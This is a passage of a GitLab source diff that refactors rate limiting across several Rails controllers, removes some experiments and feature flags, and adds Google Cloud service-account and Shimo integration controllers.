+++ b/app/controllers/import/bulk_imports_controller.rb
@@ -40,13 +40,9 @@ class Import::BulkImportsController < ApplicationController
end
def create
- response = ::BulkImports::CreateService.new(current_user, create_params, credentials).execute
+ responses = create_params.map { |entry| ::BulkImports::CreateService.new(current_user, entry, credentials).execute }
- if response.success?
- render json: response.payload.to_json(only: [:id])
- else
- render json: { error: response.message }, status: response.http_status
- end
+ render json: responses.map { |response| { success: response.success?, id: response.payload[:id], message: response.message } }
end
def realtime_changes
diff --git a/app/controllers/import/gitlab_groups_controller.rb b/app/controllers/import/gitlab_groups_controller.rb
index 503b10f766b..aca71f6d57a 100644
--- a/app/controllers/import/gitlab_groups_controller.rb
+++ b/app/controllers/import/gitlab_groups_controller.rb
@@ -4,7 +4,7 @@ class Import::GitlabGroupsController < ApplicationController
include WorkhorseAuthorization
before_action :ensure_group_import_enabled
- before_action :import_rate_limit, only: %i[create]
+ before_action :check_import_rate_limit!, only: %i[create]
feature_category :importers
@@ -55,12 +55,9 @@ class Import::GitlabGroupsController < ApplicationController
render_404 unless Feature.enabled?(:group_import_export, @group, default_enabled: true)
end
- def import_rate_limit
- if Gitlab::ApplicationRateLimiter.throttled?(:group_import, scope: current_user)
- Gitlab::ApplicationRateLimiter.log_request(request, :group_import_request_limit, current_user)
-
- flash[:alert] = _('This endpoint has been requested too many times. Try again later.')
- redirect_to new_group_path
+ def check_import_rate_limit!
+ check_rate_limit!(:group_import, scope: current_user) do
+ redirect_to new_group_path, alert: _('This endpoint has been requested too many times. Try again later.')
end
end
diff --git a/app/controllers/invites_controller.rb b/app/controllers/invites_controller.rb
index d4b1306cc5e..2a7f2d42e2a 100644
--- a/app/controllers/invites_controller.rb
+++ b/app/controllers/invites_controller.rb
@@ -77,12 +77,6 @@ class InvitesController < ApplicationController
def track_invite_join_click
return unless member && initial_invite_email?
- if params[:experiment_name] == 'invite_email_preview_text'
- experiment(:invite_email_preview_text, actor: member).track(:join_clicked)
- elsif params[:experiment_name] == 'invite_email_from'
- experiment(:invite_email_from, actor: member).track(:join_clicked)
- end
-
Gitlab::Tracking.event(self.class.name, 'join_clicked', label: 'invite_email', property: member.id.to_s)
end
@@ -104,7 +98,6 @@ class InvitesController < ApplicationController
session[:invite_email] = member.invite_email
session[:originating_member_id] = member.id if initial_invite_email?
- session[:invite_email_experiment_name] = params[:experiment_name] if initial_invite_email? && params[:experiment_name]
end
def initial_invite_email?
diff --git a/app/controllers/omniauth_callbacks_controller.rb b/app/controllers/omniauth_callbacks_controller.rb
index 9d7a1712698..dc5b22e1606 100644
--- a/app/controllers/omniauth_callbacks_controller.rb
+++ b/app/controllers/omniauth_callbacks_controller.rb
@@ -9,7 +9,7 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
after_action :verify_known_sign_in
- protect_from_forgery except: [:kerberos, :saml, :cas3, :failure], with: :exception, prepend: true
+ protect_from_forgery except: [:kerberos, :saml, :cas3, :failure] + AuthHelper.saml_providers, with: :exception, prepend: true
feature_category :authentication_and_authorization
@@ -162,6 +162,10 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
user = auth_user.find_and_update!
if auth_user.valid_sign_in?
+ # In this case the `#current_user` would not be set. So we can't fetch it
+ # from that in `#context_user`. Pushing it manually here makes the information
+ # available in the logs for this request.
+ Gitlab::ApplicationContext.push(user: user)
log_audit_event(user, with: oauth['provider'])
set_remember_me(user)
@@ -287,10 +291,6 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
def fail_admin_mode_invalid_credentials
redirect_to new_admin_session_path, alert: _('Invalid login or password')
end
-
- def context_user
- current_user
- end
end
OmniauthCallbacksController.prepend_mod_with('OmniauthCallbacksController')
diff --git a/app/controllers/profiles/emails_controller.rb b/app/controllers/profiles/emails_controller.rb
index 6e5b18cb885..be2cb270a19 100644
--- a/app/controllers/profiles/emails_controller.rb
+++ b/app/controllers/profiles/emails_controller.rb
@@ -2,8 +2,10 @@
class Profiles::EmailsController < Profiles::ApplicationController
before_action :find_email, only: [:destroy, :resend_confirmation_instructions]
- before_action -> { rate_limit!(:profile_add_new_email) }, only: [:create]
- before_action -> { rate_limit!(:profile_resend_email_confirmation) }, only: [:resend_confirmation_instructions]
+ before_action -> { check_rate_limit!(:profile_add_new_email, scope: current_user, redirect_back: true) },
+ only: [:create]
+ before_action -> { check_rate_limit!(:profile_resend_email_confirmation, scope: current_user, redirect_back: true) },
+ only: [:resend_confirmation_instructions]
feature_category :users
@@ -42,16 +44,6 @@ class Profiles::EmailsController < Profiles::ApplicationController
private
- def rate_limit!(action)
- rate_limiter = ::Gitlab::ApplicationRateLimiter
-
- if rate_limiter.throttled?(action, scope: current_user)
- rate_limiter.log_request(request, action, current_user)
-
- redirect_back_or_default(options: { alert: _('This action has been performed too many times. Try again later.') })
- end
- end
-
def email_params
params.require(:email).permit(:email)
end
diff --git a/app/controllers/profiles/two_factor_auths_controller.rb b/app/controllers/profiles/two_factor_auths_controller.rb
index e607346b40e..77fae34e2d2 100644
--- a/app/controllers/profiles/two_factor_auths_controller.rb
+++ b/app/controllers/profiles/two_factor_auths_controller.rb
@@ -8,7 +8,7 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
helper_method :current_password_required?
before_action do
- push_frontend_feature_flag(:webauthn)
+ push_frontend_feature_flag(:webauthn, default_enabled: :yaml)
end
feature_category :authentication_and_authorization
@@ -44,7 +44,7 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
@qr_code = build_qr_code
@account_string = account_string
- if Feature.enabled?(:webauthn)
+ if Feature.enabled?(:webauthn, default_enabled: :yaml)
setup_webauthn_registration
else
setup_u2f_registration
@@ -69,7 +69,7 @@ class Profiles::TwoFactorAuthsController < Profiles::ApplicationController
@error = { message: _('Invalid pin code.') }
@qr_code = build_qr_code
- if Feature.enabled?(:webauthn)
+ if Feature.enabled?(:webauthn, default_enabled: :yaml)
setup_webauthn_registration
else
setup_u2f_registration
diff --git a/app/controllers/profiles_controller.rb b/app/controllers/profiles_controller.rb
index 6330a6aa107..e6b80f90dca 100644
--- a/app/controllers/profiles_controller.rb
+++ b/app/controllers/profiles_controller.rb
@@ -8,7 +8,7 @@ class ProfilesController < Profiles::ApplicationController
before_action :authorize_change_username!, only: :update_username
skip_before_action :require_email, only: [:show, :update]
before_action do
- push_frontend_feature_flag(:webauthn)
+ push_frontend_feature_flag(:webauthn, default_enabled: :yaml)
end
feature_category :users
diff --git a/app/controllers/projects/autocomplete_sources_controller.rb b/app/controllers/projects/autocomplete_sources_controller.rb
index 0d5f64c739c..cf432cfb429 100644
--- a/app/controllers/projects/autocomplete_sources_controller.rb
+++ b/app/controllers/projects/autocomplete_sources_controller.rb
@@ -8,6 +8,8 @@ class Projects::AutocompleteSourcesController < Projects::ApplicationController
feature_category :users, [:members]
feature_category :snippets, [:snippets]
+ urgency :low, [:merge_requests]
+
def members
render json: ::Projects::ParticipantsService.new(@project, current_user).execute(target)
end
diff --git a/app/controllers/projects/blame_controller.rb b/app/controllers/projects/blame_controller.rb
index 0f87690bba5..57a06f26f8c 100644
--- a/app/controllers/projects/blame_controller.rb
+++ b/app/controllers/projects/blame_controller.rb
@@ -27,3 +27,5 @@ class Projects::BlameController < Projects::ApplicationController
@blame = Gitlab::View::Presenter::Factory.new(@blame, project: @project, path: @path).fabricate!
end
end
+
+Projects::BlameController.prepend_mod
diff --git a/app/controllers/projects/blob_controller.rb b/app/controllers/projects/blob_controller.rb
index cd50c8cf5b1..b30ef7506aa 100644
--- a/app/controllers/projects/blob_controller.rb
+++ b/app/controllers/projects/blob_controller.rb
@@ -44,7 +44,7 @@ class Projects::BlobController < Projects::ApplicationController
before_action do
push_frontend_feature_flag(:refactor_blob_viewer, @project, default_enabled: :yaml)
- push_frontend_feature_flag(:refactor_text_viewer, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:highlight_js, @project, default_enabled: :yaml)
push_frontend_feature_flag(:consolidated_edit_button, @project, default_enabled: :yaml)
push_licensed_feature(:file_locks) if @project.licensed_feature_available?(:file_locks)
end
@@ -99,7 +99,7 @@ class Projects::BlobController < Projects::ApplicationController
@content = params[:content]
@blob.load_all_data!
diffy = Diffy::Diff.new(@blob.data, @content, diff: '-U 3', include_diff_info: true)
- diff_lines = diffy.diff.scan(/.*\n/)[2..-1]
+ diff_lines = diffy.diff.scan(/.*\n/)[2..]
diff_lines = Gitlab::Diff::Parser.new.parse(diff_lines).to_a
@diff_lines = Gitlab::Diff::Highlight.new(diff_lines, repository: @repository).highlight
@@ -298,3 +298,5 @@ class Projects::BlobController < Projects::ApplicationController
experiment(:code_quality_walkthrough, namespace: @project.root_ancestor).track(:commit_created)
end
end
+
+Projects::BlobController.prepend_mod
diff --git a/app/controllers/projects/boards_controller.rb b/app/controllers/projects/boards_controller.rb
index 7354c2c71ac..81ad6243efe 100644
--- a/app/controllers/projects/boards_controller.rb
+++ b/app/controllers/projects/boards_controller.rb
@@ -11,7 +11,6 @@ class Projects::BoardsController < Projects::ApplicationController
push_frontend_feature_flag(:issue_boards_filtered_search, project, default_enabled: :yaml)
push_frontend_feature_flag(:board_multi_select, project, default_enabled: :yaml)
push_frontend_feature_flag(:iteration_cadences, project&.group, default_enabled: :yaml)
- push_frontend_feature_flag(:labels_widget, project, default_enabled: :yaml)
experiment(:prominent_create_board_btn, subject: current_user) do |e|
e.use { }
e.try { }
diff --git a/app/controllers/projects/ci/lints_controller.rb b/app/controllers/projects/ci/lints_controller.rb
index 9dc3194df85..7ef5016ac00 100644
--- a/app/controllers/projects/ci/lints_controller.rb
+++ b/app/controllers/projects/ci/lints_controller.rb
@@ -6,6 +6,7 @@ class Projects::Ci::LintsController < Projects::ApplicationController
feature_category :pipeline_authoring
respond_to :json, only: [:create]
+ urgency :low, [:create]
def show
end
diff --git a/app/controllers/projects/ci/pipeline_editor_controller.rb b/app/controllers/projects/ci/pipeline_editor_controller.rb
index 600516f95a2..6f12e3940dd 100644
--- a/app/controllers/projects/ci/pipeline_editor_controller.rb
+++ b/app/controllers/projects/ci/pipeline_editor_controller.rb
@@ -9,6 +9,8 @@ class Projects::Ci::PipelineEditorController < Projects::ApplicationController
feature_category :pipeline_authoring
+ urgency :low, [:show]
+
def show
end
@@ -21,7 +23,7 @@ class Projects::Ci::PipelineEditorController < Projects::ApplicationController
def setup_walkthrough_experiment
experiment(:pipeline_editor_walkthrough, namespace: @project.namespace, sticky_to: current_user) do |e|
e.candidate {}
- e.record!
+ e.publish_to_database
end
end
end
diff --git a/app/controllers/projects/forks_controller.rb b/app/controllers/projects/forks_controller.rb
index 5154f145b46..ba83f8dad35 100644
--- a/app/controllers/projects/forks_controller.rb
+++ b/app/controllers/projects/forks_controller.rb
@@ -22,6 +22,8 @@ class Projects::ForksController < Projects::ApplicationController
end
def index
+ @sort = params[:sort]
+
@total_forks_count = project.forks.size
@public_forks_count = project.forks.public_only.size
@private_forks_count = @total_forks_count - project.forks.public_and_internal_only.size
diff --git a/app/controllers/projects/google_cloud/base_controller.rb b/app/controllers/projects/google_cloud/base_controller.rb
new file mode 100644
index 00000000000..aff305ab7d6
--- /dev/null
+++ b/app/controllers/projects/google_cloud/base_controller.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class Projects::GoogleCloud::BaseController < Projects::ApplicationController
+ feature_category :five_minute_production_app
+
+ before_action :admin_project_google_cloud!
+ before_action :google_oauth2_enabled!
+ before_action :feature_flag_enabled!
+
+ private
+
+ def admin_project_google_cloud!
+ access_denied! unless can?(current_user, :admin_project_google_cloud, project)
+ end
+
+ def google_oauth2_enabled!
+ config = Gitlab::Auth::OAuth::Provider.config_for('google_oauth2')
+ if config.app_id.blank? || config.app_secret.blank?
+ access_denied! 'This GitLab instance not configured for Google Oauth2.'
+ end
+ end
+
+ def feature_flag_enabled!
+ access_denied! unless Feature.enabled?(:incubation_5mp_google_cloud, project)
+ end
+end
diff --git a/app/controllers/projects/google_cloud/service_accounts_controller.rb b/app/controllers/projects/google_cloud/service_accounts_controller.rb
new file mode 100644
index 00000000000..a69a744154c
--- /dev/null
+++ b/app/controllers/projects/google_cloud/service_accounts_controller.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+class Projects::GoogleCloud::ServiceAccountsController < Projects::GoogleCloud::BaseController
+ before_action :validate_gcp_token!
+
+ def index
+ @google_cloud_path = project_google_cloud_index_path(project)
+ google_api_client = GoogleApi::CloudPlatform::Client.new(token_in_session, nil)
+ gcp_projects = google_api_client.list_projects
+
+ if gcp_projects.empty?
+ @js_data = { screen: 'no_gcp_projects' }.to_json
+ render status: :unauthorized, template: 'projects/google_cloud/errors/no_gcp_projects'
+ else
+ @js_data = {
+ screen: 'service_accounts_form',
+ gcpProjects: gcp_projects,
+ environments: project.environments,
+ cancelPath: project_google_cloud_index_path(project)
+ }.to_json
+ end
+ rescue Google::Apis::ClientError => error
+ handle_gcp_error(error, project)
+ end
+
+ def create
+ google_api_client = GoogleApi::CloudPlatform::Client.new(token_in_session, nil)
+ service_accounts_service = GoogleCloud::ServiceAccountsService.new(project)
+ gcp_project = params[:gcp_project]
+ environment = params[:environment]
+ generated_name = "GitLab :: #{@project.name} :: #{environment}"
+ generated_desc = "GitLab generated service account for project '#{@project.name}' and environment '#{environment}'"
+
+ service_account = google_api_client.create_service_account(gcp_project, generated_name, generated_desc)
+ service_account_key = google_api_client.create_service_account_key(gcp_project, service_account.unique_id)
+
+ service_accounts_service.add_for_project(
+ environment,
+ service_account.project_id,
+ service_account.to_json,
+ service_account_key.to_json
+ )
+
+ redirect_to project_google_cloud_index_path(project), notice: _('Service account generated successfully')
+ rescue Google::Apis::ClientError, Google::Apis::ServerError, Google::Apis::AuthorizationError => error
+ handle_gcp_error(error, project)
+ end
+
+ private
+
+ def validate_gcp_token!
+ is_token_valid = GoogleApi::CloudPlatform::Client.new(token_in_session, nil)
+ .validate_token(expires_at_in_session)
+
+ return if is_token_valid
+
+ return_url = project_google_cloud_index_path(project)
+ state = generate_session_key_redirect(request.url, return_url)
+ @authorize_url = GoogleApi::CloudPlatform::Client.new(nil,
+ callback_google_api_auth_url,
+ state: state).authorize_url
+ redirect_to @authorize_url
+ end
+
+ def generate_session_key_redirect(uri, error_uri)
+ GoogleApi::CloudPlatform::Client.new_session_key_for_redirect_uri do |key|
+ session[key] = uri
+ session[:error_uri] = error_uri
+ end
+ end
+
+ def token_in_session
+ session[GoogleApi::CloudPlatform::Client.session_key_for_token]
+ end
+
+ def expires_at_in_session
+ session[GoogleApi::CloudPlatform::Client.session_key_for_expires_at]
+ end
+
+ def handle_gcp_error(error, project)
+ Gitlab::ErrorTracking.track_exception(error, project_id: project.id)
+ @js_data = { screen: 'gcp_error', error: error.to_s }.to_json
+ render status: :unauthorized, template: 'projects/google_cloud/errors/gcp_error'
+ end
+end
diff --git a/app/controllers/projects/google_cloud_controller.rb b/app/controllers/projects/google_cloud_controller.rb
index 7257ed1ef6f..1fa8ae60376 100644
--- a/app/controllers/projects/google_cloud_controller.rb
+++ b/app/controllers/projects/google_cloud_controller.rb
@@ -1,34 +1,12 @@
# frozen_string_literal: true
-class Projects::GoogleCloudController < Projects::ApplicationController
- feature_category :google_cloud
-
- before_action :admin_project_google_cloud?
- before_action :google_oauth2_enabled?
- before_action :feature_flag_enabled?
-
+class Projects::GoogleCloudController < Projects::GoogleCloud::BaseController
def index
@js_data = {
+ screen: 'home',
serviceAccounts: GoogleCloud::ServiceAccountsService.new(project).find_for_project,
- createServiceAccountUrl: '#mocked-url-create-service',
+ createServiceAccountUrl: project_google_cloud_service_accounts_path(project),
emptyIllustrationUrl: ActionController::Base.helpers.image_path('illustrations/pipelines_empty.svg')
}.to_json
end
-
- private
-
- def admin_project_google_cloud?
- access_denied! unless can?(current_user, :admin_project_google_cloud, project)
- end
-
- def google_oauth2_enabled?
- config = Gitlab::Auth::OAuth::Provider.config_for('google_oauth2')
- if config.app_id.blank? || config.app_secret.blank?
- access_denied! 'This GitLab instance not configured for Google Oauth2.'
- end
- end
-
- def feature_flag_enabled?
- access_denied! unless Feature.enabled?(:incubation_5mp_google_cloud)
- end
end
diff --git a/app/controllers/projects/hooks_controller.rb b/app/controllers/projects/hooks_controller.rb
index c79e5a8cc85..99eba32e00f 100644
--- a/app/controllers/projects/hooks_controller.rb
+++ b/app/controllers/projects/hooks_controller.rb
@@ -6,7 +6,7 @@ class Projects::HooksController < Projects::ApplicationController
# Authorize
before_action :authorize_admin_project!
before_action :hook_logs, only: :edit
- before_action -> { create_rate_limit(:project_testing_hook, @project) }, only: :test
+ before_action -> { check_rate_limit!(:project_testing_hook, scope: [@project, current_user]) }, only: :test
respond_to :html
diff --git a/app/controllers/projects/integrations/shimos_controller.rb b/app/controllers/projects/integrations/shimos_controller.rb
new file mode 100644
index 00000000000..827dbb8f3f9
--- /dev/null
+++ b/app/controllers/projects/integrations/shimos_controller.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Projects
+ module Integrations
+ class ShimosController < Projects::ApplicationController
+ feature_category :integrations
+
+ before_action :ensure_renderable
+
+ def show; end
+
+ private
+
+ def ensure_renderable
+ render_404 unless Feature.enabled?(:shimo_integration, project) && project.has_shimo? && project.shimo_integration&.render?
+ end
+ end
+ end
+end
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index 853e9c7ccdd..fc67cd98d15 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -10,7 +10,7 @@ class Projects::IssuesController < Projects::ApplicationController
include RecordUserLastActivity
ISSUES_EXCEPT_ACTIONS = %i[index calendar new create bulk_update import_csv export_csv service_desk].freeze
- SET_ISSUEABLES_INDEX_ONLY_ACTIONS = %i[index calendar service_desk].freeze
+ SET_ISSUABLES_INDEX_ONLY_ACTIONS = %i[index calendar service_desk].freeze
prepend_before_action(only: [:index]) { authenticate_sessionless_user!(:rss) }
prepend_before_action(only: [:calendar]) { authenticate_sessionless_user!(:ics) }
@@ -22,7 +22,7 @@ class Projects::IssuesController < Projects::ApplicationController
before_action :issue, unless: ->(c) { ISSUES_EXCEPT_ACTIONS.include?(c.action_name.to_sym) }
after_action :log_issue_show, unless: ->(c) { ISSUES_EXCEPT_ACTIONS.include?(c.action_name.to_sym) }
- before_action :set_issuables_index, if: ->(c) { SET_ISSUEABLES_INDEX_ONLY_ACTIONS.include?(c.action_name.to_sym) }
+ before_action :set_issuables_index, if: ->(c) { SET_ISSUABLES_INDEX_ONLY_ACTIONS.include?(c.action_name.to_sym) }
# Allow write(create) issue
before_action :authorize_create_issue!, only: [:new, :create]
@@ -37,7 +37,9 @@ class Projects::IssuesController < Projects::ApplicationController
before_action :authorize_download_code!, only: [:related_branches]
# Limit the amount of issues created per minute
- before_action :create_rate_limit, only: [:create], if: -> { Feature.disabled?('rate_limited_service_issues_create', project, default_enabled: :yaml) }
+ before_action -> { check_rate_limit!(:issues_create, scope: [@project, @current_user])},
+ only: [:create],
+ if: -> { Feature.disabled?('rate_limited_service_issues_create', project, default_enabled: :yaml) }
before_action do
push_frontend_feature_flag(:tribute_autocomplete, @project)
@@ -49,19 +51,9 @@ class Projects::IssuesController < Projects::ApplicationController
before_action only: :show do
push_frontend_feature_flag(:real_time_issue_sidebar, @project, default_enabled: :yaml)
- push_frontend_feature_flag(:confidential_notes, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:confidential_notes, project&.group, default_enabled: :yaml)
push_frontend_feature_flag(:issue_assignees_widget, @project, default_enabled: :yaml)
- push_frontend_feature_flag(:labels_widget, @project, default_enabled: :yaml)
push_frontend_feature_flag(:paginated_issue_discussions, @project, default_enabled: :yaml)
-
- experiment(:invite_members_in_comment, namespace: @project.root_ancestor) do |experiment_instance|
- experiment_instance.exclude! unless helpers.can_admin_project_member?(@project)
-
- experiment_instance.use {}
- experiment_instance.try(:invite_member_link) {}
-
- experiment_instance.track(:view, property: @project.root_ancestor.id.to_s)
- end
end
around_action :allow_gitaly_ref_name_caching, only: [:discussions]
@@ -373,20 +365,6 @@ class Projects::IssuesController < Projects::ApplicationController
project_compare_path(project, from: project.default_branch, to: branch[:name])
end
- def create_rate_limit
- key = :issues_create
-
- if rate_limiter.throttled?(key, scope: [@project, @current_user])
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
-
- render plain: _('This endpoint has been requested too many times. Try again later.'), status: :too_many_requests
- end
- end
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
-
def service_desk?
action_name == 'service_desk'
end
diff --git a/app/controllers/projects/jobs_controller.rb b/app/controllers/projects/jobs_controller.rb
index 81b8da9cba3..fa7c62c34dd 100644
--- a/app/controllers/projects/jobs_controller.rb
+++ b/app/controllers/projects/jobs_controller.rb
@@ -4,8 +4,8 @@ class Projects::JobsController < Projects::ApplicationController
include SendFileUpload
include ContinueParams
- before_action :find_job_as_build, except: [:index, :play]
- before_action :find_job_as_processable, only: [:play]
+ before_action :find_job_as_build, except: [:index, :play, :show]
+ before_action :find_job_as_processable, only: [:play, :show]
before_action :authorize_read_build_trace!, only: [:trace, :raw]
before_action :authorize_read_build!
before_action :authorize_update_build!,
@@ -42,7 +42,7 @@ class Projects::JobsController < Projects::ApplicationController
format.json do
Gitlab::PollingInterval.set_header(response, interval: 10_000)
- render json: BuildSerializer
+ render json: Ci::JobSerializer
.new(project: @project, current_user: @current_user)
.represent(@build.present(current_user: current_user), {}, BuildDetailsEntity)
end
@@ -118,7 +118,7 @@ class Projects::JobsController < Projects::ApplicationController
end
def status
- render json: BuildSerializer
+ render json: Ci::JobSerializer
.new(project: @project, current_user: @current_user)
.represent_status(@build.present(current_user: current_user))
end
diff --git a/app/controllers/projects/learn_gitlab_controller.rb b/app/controllers/projects/learn_gitlab_controller.rb
index 91a43c5f03f..177533b89c8 100644
--- a/app/controllers/projects/learn_gitlab_controller.rb
+++ b/app/controllers/projects/learn_gitlab_controller.rb
@@ -3,6 +3,7 @@
class Projects::LearnGitlabController < Projects::ApplicationController
before_action :authenticate_user!
before_action :check_experiment_enabled?
+ before_action :enable_invite_for_help_continuous_onboarding_experiment
feature_category :users
@@ -14,4 +15,13 @@ class Projects::LearnGitlabController < Projects::ApplicationController
def check_experiment_enabled?
return access_denied! unless helpers.learn_gitlab_enabled?(project)
end
+
+ def enable_invite_for_help_continuous_onboarding_experiment
+ return unless current_user.can?(:admin_group_member, project.namespace)
+
+ experiment(:invite_for_help_continuous_onboarding, namespace: project.namespace) do |e|
+ e.candidate {}
+ e.publish_to_database
+ end
+ end
end
diff --git a/app/controllers/projects/merge_requests/conflicts_controller.rb b/app/controllers/projects/merge_requests/conflicts_controller.rb
index a8038878504..76a233afa13 100644
--- a/app/controllers/projects/merge_requests/conflicts_controller.rb
+++ b/app/controllers/projects/merge_requests/conflicts_controller.rb
@@ -5,6 +5,12 @@ class Projects::MergeRequests::ConflictsController < Projects::MergeRequests::Ap
before_action :authorize_can_resolve_conflicts!
+ urgency :low, [
+ :show,
+ :conflict_for_path,
+ :resolve_conflicts
+ ]
+
def show
respond_to do |format|
format.html do
diff --git a/app/controllers/projects/merge_requests/content_controller.rb b/app/controllers/projects/merge_requests/content_controller.rb
index 399745151b1..588fc85ff77 100644
--- a/app/controllers/projects/merge_requests/content_controller.rb
+++ b/app/controllers/projects/merge_requests/content_controller.rb
@@ -13,6 +13,11 @@ class Projects::MergeRequests::ContentController < Projects::MergeRequests::Appl
FAST_POLLING_INTERVAL = 10.seconds.in_milliseconds
SLOW_POLLING_INTERVAL = 5.minutes.in_milliseconds
+ urgency :low, [
+ :widget,
+ :cached_widget
+ ]
+
def widget
respond_to do |format|
format.json do
diff --git a/app/controllers/projects/merge_requests/creations_controller.rb b/app/controllers/projects/merge_requests/creations_controller.rb
index ecc5ad1f84e..beb179f584b 100644
--- a/app/controllers/projects/merge_requests/creations_controller.rb
+++ b/app/controllers/projects/merge_requests/creations_controller.rb
@@ -10,6 +10,15 @@ class Projects::MergeRequests::CreationsController < Projects::MergeRequests::Ap
before_action :apply_diff_view_cookie!, only: [:diffs, :diff_for_path]
before_action :build_merge_request, except: [:create]
+ urgency :low, [
+ :new,
+ :create,
+ :pipelines,
+ :diffs,
+ :branch_from,
+ :branch_to
+ ]
+
def new
define_new_vars
end
diff --git a/app/controllers/projects/merge_requests/diffs_controller.rb b/app/controllers/projects/merge_requests/diffs_controller.rb
index 1188aec24a8..32ca7d779d2 100644
--- a/app/controllers/projects/merge_requests/diffs_controller.rb
+++ b/app/controllers/projects/merge_requests/diffs_controller.rb
@@ -14,6 +14,13 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
after_action :track_viewed_diffs_events, only: [:diffs_batch]
+ urgency :low, [
+ :show,
+ :diff_for_path,
+ :diffs_batch,
+ :diffs_metadata
+ ]
+
def show
render_diffs
end
@@ -36,6 +43,7 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
options = {
environment: environment,
merge_request: @merge_request,
+ commit: commit,
diff_view: diff_view,
merge_ref_head_diff: render_merge_ref_head_diff?,
pagination_data: diffs.pagination_data,
diff --git a/app/controllers/projects/merge_requests/drafts_controller.rb b/app/controllers/projects/merge_requests/drafts_controller.rb
index ca3f36cafe1..645720a0889 100644
--- a/app/controllers/projects/merge_requests/drafts_controller.rb
+++ b/app/controllers/projects/merge_requests/drafts_controller.rb
@@ -9,6 +9,13 @@ class Projects::MergeRequests::DraftsController < Projects::MergeRequests::Appli
before_action :authorize_admin_draft!, only: [:update, :destroy]
before_action :authorize_admin_draft!, if: -> { action_name == 'publish' && params[:id].present? }
+ urgency :low, [
+ :create,
+ :update,
+ :destroy,
+ :publish
+ ]
+
def index
drafts = prepare_notes_for_rendering(draft_notes)
render json: DraftNoteSerializer.new(current_user: current_user).represent(drafts)
@@ -110,7 +117,7 @@ class Projects::MergeRequests::DraftsController < Projects::MergeRequests::Appli
def render_draft_note(note)
params = { target_id: merge_request.id, target_type: 'MergeRequest', text: note.note }
result = PreviewMarkdownService.new(@project, current_user, params).execute
- markdown_params = { markdown_engine: result[:markdown_engine], issuable_state_filter_enabled: true }
+ markdown_params = { markdown_engine: result[:markdown_engine], issuable_reference_expansion_enabled: true }
note.rendered_note = view_context.markdown(result[:text], markdown_params)
note.users_referenced = result[:users]
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index 6c5a8aa0610..7133233f083 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -42,21 +42,11 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
push_frontend_feature_flag(:restructured_mr_widget, project, default_enabled: :yaml)
push_frontend_feature_flag(:mr_changes_fluid_layout, project, default_enabled: :yaml)
push_frontend_feature_flag(:mr_attention_requests, project, default_enabled: :yaml)
- push_frontend_feature_flag(:labels_widget, project, default_enabled: :yaml)
# Usage data feature flags
push_frontend_feature_flag(:users_expanding_widgets_usage_data, @project, default_enabled: :yaml)
push_frontend_feature_flag(:diff_settings_usage_data, default_enabled: :yaml)
push_frontend_feature_flag(:diff_searching_usage_data, @project, default_enabled: :yaml)
-
- experiment(:invite_members_in_comment, namespace: @project.root_ancestor) do |experiment_instance|
- experiment_instance.exclude! unless helpers.can_admin_project_member?(@project)
-
- experiment_instance.use {}
- experiment_instance.try(:invite_member_link) {}
-
- experiment_instance.track(:view, property: @project.root_ancestor.id.to_s)
- end
end
before_action do
@@ -74,15 +64,28 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
:show, :toggle_award_emoji, :toggle_subscription, :update
]
- feature_category :code_testing, [
- :test_reports, :coverage_reports, :codequality_reports,
- :codequality_mr_diff_reports
- ]
-
+ feature_category :code_testing, [:test_reports, :coverage_reports]
+ feature_category :code_quality, [:codequality_reports, :codequality_mr_diff_reports]
feature_category :accessibility_testing, [:accessibility_reports]
feature_category :infrastructure_as_code, [:terraform_reports]
feature_category :continuous_integration, [:pipeline_status, :pipelines, :exposed_artifacts]
+ urgency :high, [:export_csv]
+ urgency :low, [
+ :index,
+ :show,
+ :commits,
+ :bulk_update,
+ :edit,
+ :update,
+ :cancel_auto_merge,
+ :merge,
+ :ci_environments_status,
+ :destroy,
+ :rebase,
+ :discussions
+ ]
+
def index
@merge_requests = @issuables
@@ -286,7 +289,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
if merge_request.errors.present?
render json: @merge_request.errors, status: :bad_request
else
- render json: serializer.represent(@merge_request, serializer: 'basic')
+ render json: serializer.represent(@merge_request, serializer: params[:serializer] || 'basic')
end
end
end
diff --git a/app/controllers/projects/notes_controller.rb b/app/controllers/projects/notes_controller.rb
index e8057308386..7322e08e62e 100644
--- a/app/controllers/projects/notes_controller.rb
+++ b/app/controllers/projects/notes_controller.rb
@@ -57,7 +57,7 @@ class Projects::NotesController < Projects::ApplicationController
def outdated_line_change
diff_lines = Rails.cache.fetch(['note', note.id, 'oudated_line_change'], expires_in: 7.days) do
- ::MergeRequests::OutdatedDiscussionDiffLinesService.new(project: @project, note: note).execute.to_json
+ ::MergeRequests::OutdatedDiscussionDiffLinesService.new(project: note.noteable.source_project, note: note).execute.to_json
end
render json: diff_lines
diff --git a/app/controllers/projects/pipeline_schedules_controller.rb b/app/controllers/projects/pipeline_schedules_controller.rb
index 4af7508b935..ac94cc001dd 100644
--- a/app/controllers/projects/pipeline_schedules_controller.rb
+++ b/app/controllers/projects/pipeline_schedules_controller.rb
@@ -3,7 +3,7 @@
class Projects::PipelineSchedulesController < Projects::ApplicationController
before_action :schedule, except: [:index, :new, :create]
- before_action :play_rate_limit, only: [:play]
